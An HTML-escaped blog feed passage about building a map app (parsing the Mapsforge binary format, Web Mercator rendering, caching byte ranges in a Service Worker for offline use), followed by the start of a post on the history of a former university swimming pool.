&lt;p&gt;Another more common trick the file format uses is delta (and double-delta) encoding. This is a useful technique for reducing the amount of space required to encode a sequence of numbers. The idea is that instead of storing a series of numbers like &lt;code&gt;[50, 52, 48, 60]&lt;/code&gt;, you instead store a start point, such as &lt;code&gt;50&lt;/code&gt;, and then also the difference between each number and the previous one, such as &lt;code&gt;[2, -4, 12]&lt;/code&gt;. This approach is valuable for the map use case, as the majority of points will near the previous one, hence giving us delta values that are much smaller in magnitude than raw coords. Double-delta encoding takes this a step further, storing the difference between the deltas &amp;mdash; the Mapsforge file writer &lt;a href="https://github.com/mapsforge/mapsforge/blob/b028ff0cf8c51810c8801835a734906e65b3f074/mapsforge-map-writer/src/main/java/org/mapsforge/map/writer/MapFileWriter.java#L213-L223"
target="_blank" rel="noreferrer noopener"
&gt;opportunistically uses this approach&lt;/a&gt; when it results in a smaller file size.&lt;/p&gt;
&lt;p&gt;In a similar vein to storing way coordinates with delta encoding, all coordinates in a tile are stored relative to the origin of the tile. This once again cuts down the magnitude of the numbers you are storing. Another nice technique is the encoding of coordinate values. Although you might assume that a coordinate, such as (54.6195, -3.0778), would be stored as two floating point numbers, they instead store coordinates as integer values in microdegrees &amp;mdash; i.e. degrees × 10^6. This saves some space compared to storing floats, without compromising precision.&lt;/p&gt;
&lt;p&gt;They also use a variable-length encoding scheme for integers, allowing both large and small numbers to be stored in the same format, without losing too much efficiency. For example, the naïve approach would be to use 32-bit integers for all numbers, but this would result in space being wasted when storing small delta values (which could fit in an 8-bit int). Therefore, they sacrifice the first bit of each byte as a continuation indicator, and use the remaining 7 bits to store (a part of) the actual value.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// decode a variable length _unsigned_ integer as a number
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// this.data is a DataView, and this.offset is the offset we are reading from, in bytes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getVUint() {&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// if the first bit is 1, need to read the next byte. the rest of the 7 bits
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#75715e"&gt;// are the numeric value, starting with the least significant
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shift&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// check if we need to continue
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; ((&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getUint8&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;offset&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b1000_0000&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// if this not the first byte we&amp;#39;ve read, each bit is worth more
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;|=&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getUint8&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;offset&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b0111_1111&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;offset&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;shift&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// read the seven bits from the last byte
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;|=&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getUint8&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;offset&lt;/span&gt;) &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shift&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;offset&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The final trick that I&amp;rsquo;ve already partially discussed is packing multiple values into a single byte. This allows you to store up to 8 flags in 1 byte, instead of a whole byte for each flag. As the minimum you can read from a &lt;code&gt;DataView&lt;/code&gt; is 1 byte, you have to do some bit manipulation to read out the individual boolean flags. This is a bit fiddly, but the space savings add up. Representing the bitmask values in binary with &lt;code&gt;0b&lt;/code&gt; makes it a bit easier to understand what is going on.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;flags&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;tile_data&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getUint8&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;has_name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;flags&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b1000_0000&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;has_house_number&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;flags&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b0100_0000&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;has_elevation&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;flags&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b0010_0000&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As I&amp;rsquo;d never written any binary parsing code before, this was quite an instructive process for me. Although the &lt;a href="https://github.com/mapsforge/mapsforge/blob/master/docs/Specification-Binary-Map-File.md"
target="_blank" rel="noreferrer noopener"
&gt;specification&lt;/a&gt; was very helpful, it was often not exactly obvious how to utilize the decoded data, and there were some confused details. At one point I had to dig into the Java sources of the reference implementation, as the specification did not align with what was actually in the files &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;. I ended up writing a simple hexdump function to help me debug issues with my parser.&lt;/p&gt;
&lt;h2 id="rendering"&gt;Rendering&lt;/h2&gt;
&lt;p&gt;The next step is actually rendering the data. At a basic level this isn&amp;rsquo;t too complicated. You first need to project the coordinates from WGS-84 to your desired projection, in my case Web Mercator. The Web Mercator projection is conformal, meaning it preserves angles (locally) whilst distorting area. Once you&amp;rsquo;ve projected the coordinates, you can draw the data to the canvas. Firstly, to handle translation of the map, you will need x/y offset values, that which will alter what falls within the map viewport.&lt;/p&gt;
&lt;p&gt;In order to handle map zooming, you need to implement a scale factor that you multiply the coordinates values by before drawing them, having the effect of stretching the map out &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;. The complication here is that this will scale about the origin, so you need to will need to dynamically adjust the x/y offsets so that you zoom centred around the mouse position. Although this sounds simple enough, it was one of the things that took the longest to get right, as the maths was fiddly. This is the sort of code that you write, and then have no idea how it works the next day, and I am not proud.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-typescript" data-lang="typescript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// x and y are the mouse coordinates, and zoom_delta is the amount to zoom by
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;new_zoom&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;zoom_level&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;zoom_delta&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;zoom_level&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x_offset_scaled&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;x_offset&lt;/span&gt;) &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y_offset_scaled&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ((&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;canvas&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;height&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;) &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;y_offset&lt;/span&gt;) &lt;span style="color:#f92672"&gt;/&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt; &lt;span style="color:#f92672"&gt;*=&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;zoom_delta&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;x_offset&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;x_offset_scaled&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;y_offset&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;canvas&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;height&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y&lt;/span&gt;) &lt;span style="color:#f92672"&gt;-&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;y_offset_scaled&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;scale&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;zoom_level&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;new_zoom&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="range-requests-and-service-worker-abuse"&gt;Range requests and service worker abuse&lt;/h2&gt;
&lt;p&gt;My next goal was to make the app work offline. Naïvely, this is simple &amp;mdash; just store the whole map file in a Service Worker cache, then &lt;code&gt;fetch()&lt;/code&gt; it from there when offline. This approach worked fine while I was initially testing the app, given I was only using small map files (say &amp;gt;10 MB). Unfortunately, country sized maps will be much larger &amp;mdash; the map file for England is about 1 GB. While it is actually possible to &lt;code&gt;fetch()&lt;/code&gt; and store a 1 GB blob in a Service Worker in modern browsers, having to download the entire map file on launch is terrible UX. I had two design goals in conflict:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The app should work instantly online, without a lengthy download period&lt;/li&gt;
&lt;li&gt;The app should work offline&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When online, we could do with some way of only partially loading the file, loading more data as the user pans the map. This is where range requests become useful, allowing you to fetch certain byte range(s) from a file &lt;sup id="fnref:3"&gt;&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref"&gt;3&lt;/a&gt;&lt;/sup&gt;. The Mapsforge file format was not designed with this use case in mind, but it is actually fairly efficient. To be able to read a map tile from its Z/X/Y coordinate, we first need to look up its byte position in the file, using the indexes. As this is a common operation, and we have significant network latency, it makes sense to cache the indexes at startup, as they are actually fairly small. For example in the England map file, in the most detailed sub-file (at zoom 14), there are about 200,000 tiles, and each index entry is 5 bytes. This means that in total the largest index is about 200,000 × 5 = 1 MB.&lt;/p&gt;
&lt;p&gt;Unfortunately, this has broken offline support, as we can we no longer have the whole file available to stash in the Service Worker. While Service Workers can serve HTTP range requests from a larger cached file (useful for storing video offline), there is no mechanism to store only portions of a larger file. This is where I went slightly off-piste. The general idea of Service Workers is that they are a proxy between the browser and the network, meaning you can intercept and decide how requests are replied to. Normally they are quite boilerplate, or use abstractions like Google&amp;rsquo;s Workbox &amp;mdash; however you are completely free to implement your own custom logic.&lt;/p&gt;
&lt;p&gt;Therefore, I implemented a scheme that allowed byte ranges to be stored, by inserting them into the Service Worker cache as separate request/response pairs. When a request was intercepted by a service worker, it would first check if it already had the byte-range, then if not, fetch it and cache it. The beauty of this approach is that it is completely transparent to the rest of the app, which just acts as if it is fetching ranges from the network. The ugliness of it is that the Service Worker cache is designed to store pairs of &lt;code&gt;Request&lt;/code&gt; and &lt;code&gt;Response&lt;/code&gt; objects. You retrieve the &lt;code&gt;Response&lt;/code&gt; objects by passing the URL you want into &lt;code&gt;cache.match()&lt;/code&gt;. But as we are dealing with byte ranges of a single file, we only have a single URL! To make multiple URLs I ended up appending a &lt;code&gt;?bytes=${start}-${end}&lt;/code&gt; query string to each range stored in the cache, which is quite an offensive hack.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/sw-cache_hu_c89d46433f47618d.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/sw-cache_hu_f9ddcbd78b5215d7.webp 320w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/sw-cache_hu_ac6b4d0c6bdfc7d0.webp 640w, https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/sw-cache_hu_74dd63a7356f629a.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/map-from-the-ground-up/images/sw-cache_hu_b3626e5a66e4338b.jpg'
width="987"
height="665"
loading="lazy"
alt='Screenshot of Chrome Dev Tools, Application &amp;gt; Storage &amp;gt; Cache storage page'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Storing byte ranges in the Service Worker cache, using the manufactured &lt;code&gt;?bytes&lt;/code&gt; query string variable
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This gave me the cache as you pan part of the solution, but I still wanted the user to be able to download a larger area for offline use, without downloading the whole 1 GB map. The simple approach to this is just fetching the byte ranges for each tile required, but if you are downloading a region this can quickly add up into thousands of tiles. You don&amp;rsquo;t want to be making that many HTTP requests all at once. Luckily tiles next to each other in the X dimension are stored in contiguous bytes, meaning you instead only have to make a single request for each row of tiles, effectively square-rooting the total (assuming your screen is square).&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;I ended up contributing &lt;a href="https://github.com/mapsforge/mapsforge/pull/1374"
target="_blank" rel="noreferrer noopener"
&gt;a PR&lt;/a&gt; to clarify the wording of the specification.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;This scale factor actually needs increase exponentially, otherwise the zooming will get slower and slower as you zoom in.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;I was inspired to take this approach by the &lt;a href="https://protomaps.com/"
target="_blank" rel="noreferrer noopener"
&gt;Protomaps project&lt;/a&gt;, who built a custom map format specifically for use with range requests.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>History of the Jane Holloway Swimming Pool</title><link>https://george.honeywood.org.uk/blog/jane-holloway-hall/</link><pubDate>Mon, 20 Feb 2023 12:19:09 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/jane-holloway-hall/</guid><description>
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_ac612a68cae1c04b.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_6a7403f23e240ae5.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_7be87c33ba5100be.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_4d566ffce011d20e.webp 960w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_f10b51625a4039d3.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/founders-cat_hu_61f01312cdfcf0d8.jpg'
width="4457"
height="3238"
alt='Founder&amp;#39;s at sunrise'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;I study at Royal Holloway, a university probably most well known for the iconic Founder&amp;rsquo;s Building. According to Wikipedia, it is an example of French-Renaissance style architecture. Founder&amp;rsquo;s is often used in TV and film as visual shorthand for a grandiose university or school setting, starring in Avengers: Age of Ultron, The Crown, You, and most importantly, Midsomer Murders &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_f5c7071740b55f8a.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_6da6ccf40bedd3a2.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_9c544a9036e6b7ee.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_53564dda85d7a07f.webp 960w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_22b6ce2eda3abeae.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/jane-holloway-front_hu_bd476017b902c339.jpg'
width="4624"
height="3472"
alt='Entrance to Jane Holloway Hall'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;On the wooded slopes below Founder&amp;rsquo;s is the grade two listed Jane Holloway Hall, which was formerly an indoor heated swimming pool. It was built in 1893, so about a decade after Founder&amp;rsquo;s was constructed. This completion date would make it one of the earlier examples in the UK. It is not nearly as visually impressive as Founder&amp;rsquo;s, but it suits the wooded environment well. Unfortunately, they decided to pebble dash it, which I think is a bad call on &lt;em&gt;any&lt;/em&gt; building. Fortunately, the interior has the brickwork exposed, and is notable for its &amp;ldquo;elegant pinjointed steel roof trusses&amp;rdquo; &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve been curious about this building since I started studying here. There isn&amp;rsquo;t much about it online. On campus there are rumours that a student once drowned in the pool, and since haunts the corridors of Founder&amp;rsquo;s. Randomly I found a &lt;a href="https://www.thestudentroom.co.uk/showthread.php?t=903291"
target="_blank" rel="noreferrer noopener"
&gt;13-year-old thread&lt;/a&gt; on Student Room, with this picture attached, which piqued my interest.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-student-room_hu_dfc50de1346b4f91.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-student-room_hu_9cda53d083e4bfb3.webp 320w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-student-room_hu_f3ec1598046f5c70.webp 640w, https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-student-room_hu_552fde156d9d1242.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-student-room_hu_c642b3beb9dadc.jpg'
width="1269"
height="729"
loading="lazy"
alt='Jane Holloway Hall interior'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
Jane Holloway Hall, undated (© Royal Holloway Archives)
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This curiosity lingered on for a couple of years until I started swimming regularly. These days students have to make the 30-minute walk to Egham Orbit on the other side of the M25. Out of laziness, I wanted to find out why the university got rid of the more conveniently located campus swimming pool.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/jane-holloway-hall/images/interior-1906_hu_dba5c1d39cde3903.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
